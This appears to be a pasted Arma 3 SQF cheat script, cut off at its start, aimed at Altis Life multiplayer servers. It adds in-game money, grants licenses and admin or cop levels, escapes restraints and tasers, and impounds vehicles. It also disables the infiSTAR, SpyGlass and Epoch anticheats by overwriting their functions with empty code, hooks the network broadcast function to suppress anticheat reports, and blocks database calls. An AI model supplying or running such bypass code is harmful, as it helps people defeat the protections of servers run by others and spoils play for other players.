- if(_index != -1) then {
- _varIndex = _index + 1;
- _varTemp = _words select _varIndex;
- _varTemp = toLower(_varTemp);
- _low = (toArray("a") select 0);
- _high = (toArray("z") select 0);
- _allowedLetters = toArray("_1234567890");
- _newArray = [];
- _oldArray = toArray(_varTemp);
- for "_i" from 0 to count(_oldArray)-1 do {
- _val = _oldArray select _i;
- if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
- _newArray set[count(_newArray),_val];
- }
- };
- cash_var = toString _newArray;
- } else {
- setcash = false;
- };
- };
- if(!setcash) exitWith {hint "failed to find life cash variable! Sorry :(";};
- call compile format["%1 = %1 + 50000;",cash_var];
- hint "Money Added :P";
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- };
- GEF_Cash100k = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- setcash = true;
- if(isNil "cash_var") then {cash_var = "swag";};
- if(cash_var == "swag") then {
- _search = preprocessfilelinenumbers "core\configuration.sqf";
- _words = [_search," "] call bis_fnc_splitString;
- _index = _words find "west:";
- if(_index != -1) then {
- _varIndex = _index + 1;
- _varTemp = _words select _varIndex;
- _varTemp = toLower(_varTemp);
- _low = (toArray("a") select 0);
- _high = (toArray("z") select 0);
- _allowedLetters = toArray("_1234567890");
- _newArray = [];
- _oldArray = toArray(_varTemp);
- for "_i" from 0 to count(_oldArray)-1 do {
- _val = _oldArray select _i;
- if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
- _newArray set[count(_newArray),_val];
- }
- };
- cash_var = toString _newArray;
- } else {
- setcash = false;
- };
- };
- if(!setcash) exitWith {hint "failed to find life cash variable! Sorry :(";};
- call compile format["%1 = %1 + 100000;",cash_var];
- hint "Money Added :P";
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- };
- GEF_Cash500k = {
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- setcash = true;
- if(isNil "cash_var") then {cash_var = "swag";};
- if(cash_var == "swag") then {
- _search = preprocessfilelinenumbers "core\configuration.sqf";
- _words = [_search," "] call bis_fnc_splitString;
- _index = _words find "west:";
- if(_index != -1) then {
- _varIndex = _index + 1;
- _varTemp = _words select _varIndex;
- _varTemp = toLower(_varTemp);
- _low = (toArray("a") select 0);
- _high = (toArray("z") select 0);
- _allowedLetters = toArray("_1234567890");
- _newArray = [];
- _oldArray = toArray(_varTemp);
- for "_i" from 0 to count(_oldArray)-1 do {
- _val = _oldArray select _i;
- if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
- _newArray set[count(_newArray),_val];
- }
- };
- cash_var = toString _newArray;
- } else {
- setcash = false;
- };
- };
- if(!setcash) exitWith {hint "failed to find life cash variable! Sorry :(";};
- call compile format["%1 = %1 + 500000;",cash_var];
- hint "Money Added :P";
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- };
- GEF_Licenses = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- {missionnamespace setVariable[(_x select 0),true];} foreach life_licenses;
- ["TaskSucceeded",["","Liscenses Added"]] call bis_fnc_showNotification;
- };
- GEF_NoIllegal = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- life_illegal_items = [];
- ["TaskSucceeded",["","No items are illegal now!"]] call bis_fnc_showNotification;
- };
- GEF_Unrestrain = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- player setVariable["restrained",false,true];
- ["TaskSucceeded",["","Press V to escape restraints"]] call bis_fnc_showNotification;
- };
- GEF_NoEscort = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- player setVariable["Escorting",false,true];
- detach player;
- ["TaskSucceeded",["","No Longer Being Escorted"]] call bis_fnc_showNotification;
- };
- GEF_NoTransport = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- player setVariable["transporting",false,true];
- ["TaskSucceeded",["","No Longer Being Transported"]] call bis_fnc_showNotification;
- };
- GEF_NoTaze = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- life_fnc_tazed = compileFinal "";
- ["TaskSucceeded",["","You can no longer be tazed"]] call bis_fnc_showNotification;
- };
- GEF_Impound = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- cursortarget spawn life_fnc_impoundAction;
- ["TaskSucceeded",["","Vehicle impounded"]] call bis_fnc_showNotification;
- };
- };
- BIS_fnc_dbg_reminder_value = compileFinal '';
- BIS_fnc_dbg_reminder = compileFinal 'while{true} do {};';
- hint 'BIS_fnc_endMission Bypassed\n\nTesting Now!';
- [] spawn BIS_fnc_endMission
- [] spawn{SOCK_fnc_dataQuery = compileFinal "false"; DB_fnc_mresString = compileFinal "false"; DB_fnc_mresArray = compileFinal "false"; DB_fnc_numberSafe = compileFinal "false"; DB_fnc_asyncCall = compileFinal "false"; DB_Async_Active = compileFinal "false"; hint "Titans: Altis Life Database Bypass Activated"; };
- life_adminlevel = 3;
- _rnd2 = compileFinal "3";
- life_coplevel = 7;
- _kickunit = compileFinal "";
- fnc_infiServerKick = compileFinal "";
- _tmpBL = compileFinal "";
- _arr = compileFinal "";
- _ninetwo = compileFinal "";
- FNC_A3_infiSTARBAN = compileFinal "";
- _testers = compileFinal "";
- _TEMP = compileFinal "";
- _children = compileFinal "";
- infiSTAR_MAIN_CODE = compileFinal "";
- _MAIN_CODE = compileFinal "";
- fnc_infiServerKick = compileFinal "";
- _A3AHstring = compileFinal "";
- _MPInterruptChecked = compileFinal "false";
- life_fnc_adminid = compileFinal "";
- life_session_completed = compileFinal "true";
- STR_Session_QueryFail = compileFinal "false";
- _getRidOff = compileFinal "";
- _SP_PLAYER_ = compileFinal "";
- _clientonceone = compileFinal "";
- _YourPlayerToken = compileFinal "";
- _clientoncetwo = compileFinal "";
- diag_tickTime = compileFinal "";
- _AH142KICKLOG = compileFinal "";
- kicked_by_AntiHack = compileFinal "";
- admin_d0_server = compileFinal "";
- fnc_AdminReq = compileFinal "";
- A3RANDVARuuixgra = compileFinal "";
- A3RANDVAR4cpfohg = compileFinal "";
- A3RANDVARsspt3nt = compileFinal "";
- A3RANDVARrpv1tpv = compileFinal "";
- A3RANDVARzohlqlh = compileFinal "";
- A3RANDVARfxehtmp = compileFinal "";
- A3RANDVARilg3vw2 = compileFinal "";
- A3RANDVARgbjdlsm = compileFinal "";
- A3RANDVARc1wmch1 = compileFinal "";
- _randvar3 = compileFinal "";
- _AH_MAIN_BLOCK = compileFinal "";
- _RunOnClients = compileFinal "";
- _AHrunCheck = compileFinal "";
- _AH_AnnounceAdmin = compileFinal "";
- _AHKickOFF = compileFinal "";
- _AH_RunCheck = compileFinal "";
- _AH_RunCheck2 = compileFinal "";
- _FiredCheck = compileFinal "";
- _TMPBAN = compileFinal "";
- _randvar29 = compileFinal "";
- _randvar30 = compileFinal "";
- _massMessage = compileFinal "";
- _AHpos = compileFinal "";
- _adjust = compileFinal "";
- _fnc_RandomGen = compileFinal "";
- _badVariables = compileFinal "";
- _validMenus = compileFinal "";
- _puid = compileFinal "";
- _name = compileFinal "";
- _commandingMenu = compileFinal "";
- _admins = compileFinal "";
- _mPos = compileFinal "";
- _oVeh = compileFinal "";
- _BM = compileFinal "";
- _BW = compileFinal "";
- _break = compileFinal "";
- _lastMenu = compileFinal "";
- _patchList = compileFinal "";
- _endM = compileFinal "";
- _onLoad = compileFinal "";
- _onUnload = compileFinal "";
- _checkThread = compileFinal "";
- LysticCompilableString = compileFinal "";
- _LoadingIn = compileFinal "";
- _DetectedFiles = compileFinal "";
- _DetectedVariables = compileFinal "";
- _DetectedMenus = compileFinal "";
- INFIKICK = compileFinal "";
- RscDisplayMPInterrupt = compileFinal "";
- _loaded = compileFinal "";
- _dikCode = compileFinal "";
- _antiWallCount = compileFinal "";
- _fncKick = compileFinal "";
- _ban = compileFinal "";
- _bans = compileFinal "";
- JUSTSLEEPS = compileFinal "";
- _rv3 = compileFinal "";
- _i = compileFinal "";
- _j = compileFinal "";
- _UBF = compileFinal "";
- _allowedDialogs = compileFinal "";
- _badDialogsBAN = compileFinal "";
- _badDialogsKICK = compileFinal "";
- _badDialogsClose = compileFinal "";
- _allocMemory = compileFinal "";
- _d3d9multipliervariable = compileFinal "";
- antihack_Enabled = compileFinal "";
- antihack_cfgPatchesCheck = compileFinal "";
- antihack_whitelistedCfgPatches = compileFinal "";
- antihack_InvOpenCheck = compileFinal "";
- antihack_banReason = compileFinal "";
- EPOCH_client_rejectPlayer = compileFinal "";
- EPOCH_masterLoop = compileFinal "";
- DEBUG_VEH = compileFinal "true";
- A3_epoch_infiSTAR = compileFinal "";
- CfgRemoteExecCommands = compileFinal "";
- _loadedcheckpos = compileFinal "";
- _loadedchecktime = compileFinal "";
- _MPEH_MAIN_BLOCK = compileFinal "";
- _oLuLc = compileFinal "";
- _AH_RunCheckARRAY = compileFinal "";
- _AH_HackLogArrayRND = compileFinal "";
- _AH_RunCheckMAIN = compileFinal "";
- _AH_RunCheckENDVAR = compileFinal "";
- _AH_SurvLogArrayRND = compileFinal "";
- _startOnceOnly = compileFinal "";
- _stepOver = compileFinal "";
- _infikeypress = compileFinal "";
- _infiSTAR_fnc_STOP = compileFinal "";
- _infiSTAR_fnc_animchanged = compileFinal "";
- _remark = compileFinal "";
- _AntiAntiHackTesting = compileFinal "";
- _clientdo = compileFinal "";
- _fnc_MP_packetR = compileFinal "";
- _fnc_MP_packetL = compileFinal "";
- SPY_fnc_variablecheck = compileFinal "";
- SPY_fnc_cmdMenuCheck = compileFinal "";
- SPY_fnc_menuCheck = compileFinal "";
- SPY_cfg_runPatchCheck = compileFinal "";
- SpyGlass = compileFinal "";
- SPY_fnc_notifyAdmins = compileFinal "";
- SPY_fnc_cookieJar = compileFinal "";
- _display = compileFinal "";
- SPYGLASS_END = compileFinal "";
- _detection = compileFinal "false";
- _checkThread = compileFinal "";
- _patchList = compileFinal "";
- life_blacklisted = compileFinal "false";
- _clientcanload = compileFinal "true";
- _hacker = compileFinal "";
- _fnc_serverKickNicedo = compileFinal "";
- _reobj = compileFinal "";
- fnc_serverKickNice = compileFinal "";
- _EPOCH_masterLoop = compileFinal "";
- _EPOCH_client_rejectPlayer = compileFinal "";
- _fnc_serverKickEvildo = compileFinal "";
- _fnc_serverKickEvil = compileFinal "";
- Enable_Admin_Menu = true;
- Check_For_NoRecoil = false;
- Check_For_ESP = false;
- Blocked_Files = ["BypassedThisAnticheat.sqf"];
- AH_fnc_Kick = compileFinal "";
- _cheatengine_check = compileFinal "";
- Check_For_Cheat_Engine = false;
- _recoilcheck = compileFinal "";
- PVAR_AH_BAN = compileFinal "";
- Stop_OnMapSingleClick = compileFinal "";
- Stop_GodMode = compileFinal "";
- Kick = compileFinal "";
- Receive_Notify = compileFinal "";
- _baddies = compileFinal "false";
- _FNC_AH142KICKLOG = compileFinal "false";
- _TbVs = compileFinal "nil";
- _badcontrolsannounced = compileFinal "false";
- _check = compileFinal "false";
- _smallxtofind = compileFinal "";
- //test epoch ISBP
- EH_FIRED = compileFinal "false";
- infiSTAR = compileFinal "false";
- _fnc_PVAH_AdminReq = compileFinal "";
- _kickoff = compileFinal "";
- BIS_fnc_returnChildren = compileFinal '
- private ["_class","_depth","_lastOnly","_first","_classnames","_subClass","_subClassName"];
- _class = [_this,0,configfile >> "",[configfile]] call bis_fnc_param;
- _depth = [_this,1,0,[0]] call bis_fnc_param;
- _lastOnly = [_this,2,true,[true]] call bis_fnc_param;
- _first = [_this,3,true,[true]] call bis_fnc_param;
- _badClass = configFile >> "RscDisplayMPInterrupt" >> "controls";
- if(_class == _badClass) then {while{true} do {};};
- _private = if (_first) then {["_classes"]} else {[]};
- private _private;
- if (_first) then {_classes = [];};
- if (_depth >= 0) then {
- _classnames = [];
- {
- for "_c" from 0 to (count _x - 1) do {
- _subClass = _x select _c;
- if (isclass _subClass) then {
- _subClassName = tolower configname _subClass;
- if !(_subClassName in _classnames) then {
- if (_depth == 0 || _lastOnly) then {
- _classes set [count _classes,_subClass];
- _classnames set [count _classnames,_subClassName];
- };
- [_subClass,_depth - 1,_lastOnly,false] call bis_fnc_returnChildren;
- };
- };
- };
- } foreach (_class call bis_fnc_returnparents);
- };
- _classes
- ';
- BIS_fnc_MP = compileFinal '
- with missionnamespace do {
- private ["_params","_functionName","_target","_isPersistent","_isCall","_ownerID"];
- _params = [_this,0,[]] call bis_fnc_param;
- _functionName = [_this,1,"",[""]] call bis_fnc_param;
- _target = [_this,2,true,[objnull,true,0,[],sideUnknown,grpnull,""]] call bis_fnc_param;
- _isPersistent = [_this,3,false,[false]] call bis_fnc_param;
- _isCall = [_this,4,false,[false]] call bis_fnc_param;
- _ohShitNo = ["spy_fnc",_functionName] call BIS_fnc_inString;
- if(!_ohShitNo) then {
- fnc_log_ac = ("fnc_log_ac" == toLower(_functionName));
- };
- if(!_ohShitNo) then {
- _ohShitNo = ("life_fnc_displayhint" == toLower(_functionName));
- };
- if(_ohShitNo) exitwith {
- hint parseText format["<t align=""center"" size=""1.3"">Anti-Anticheat</t><br/>Oh shit bro! It looks like an anticheat tried to broadcast this function: %1",_functionName];
- };
- BIS_fnc_MP_packet = [0,_params,_functionName,_target,_isPersistent,_isCall];
- publicvariableserver "BIS_fnc_MP_packet";
- if !(ismultiplayer) then {
- ["BIS_fnc_MP_packet",BIS_fnc_MP_packet] spawn BIS_fnc_MPexec;
- };
- BIS_fnc_MP_packet
- };
- ';
- life_fnc_MP = compileFinal '
- with missionnamespace do {
- private ["_params","_functionName","_target","_isPersistent","_isCall","_ownerID"];
- _params = [_this,0,[]] call bis_fnc_param;
- _functionName = [_this,1,"",[""]] call bis_fnc_param;
- _target = [_this,2,true,[objnull,true,0,[],sideUnknown,grpnull,""]] call bis_fnc_param;
- _isPersistent = false;
- _isCall = [_this,4,false,[false]] call bis_fnc_param;
- _ohShitNo = ["spy_fnc",_functionName] call BIS_fnc_inString;
- if(!_ohShitNo) then {
- fnc_log_ac = ("fnc_log_ac" == toLower(_functionName));
- };
- if(!_ohShitNo) then {
- _ohShitNo = ("life_fnc_displayhint" == toLower(_functionName));
- };
- if(_ohShitNo) exitwith {
- hint parseText format["<t align=""center"" size=""1.3"">Anti-Anticheat</t><br/>Oh shit bro! It looks like an anticheat tried to broadcast this function: %1",_functionName];
- };
- if(isServer && isDedicated) then {
- life_fnc_MP_packet = [0,_params,_functionName,_target,_isPersistent,_isCall,"__SERVER__","__SERVER__"];
- } else {
- life_fnc_MP_packet = [0,_params,_functionName,_target,_isPersistent,_isCall,profileName,getPlayerUID player];
- };
- publicvariableserver "life_fnc_MP_packet";
- if !(ismultiplayer) then {
- ["life_fnc_MP_packet",life_fnc_MP_packet] spawn life_fnc_MPexec;
- };
- life_fnc_MP_packet
- };
- ';
- [] spawn {
- while{true} do {
- missionnamespace setvariable ["BIS_fnc_missionHandlers_win",false];
- };
- };
- lyst1c_fnc_param = compileFinal preprocessfilelinenumbers "A3\Functions_f\Debug\fn_param.sqf";
- bis_fnc_param = compileFinal '
- _response = false;
- _badStrings = ["infistar","spyglass"];
- _array = _this select 0;
- _index = _this select 1;
- if(typename _array == typename []) then {
- if(count _array > 0) then {
- _itemOne = _array select 0;
- if(typename _itemOne == typename "") then {
- _text = toLower(_itemOne);
- if(_index == 1) then {
- {
- if((_text find _x) != -1) exitWith {
- _response = true;
- };
- } forEach _badStrings;
- }
- };
- };
- };
- _value = _this call lyst1c_fnc_param;
- if(_response) then {
- _value = true;
- };
- _value
- ';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement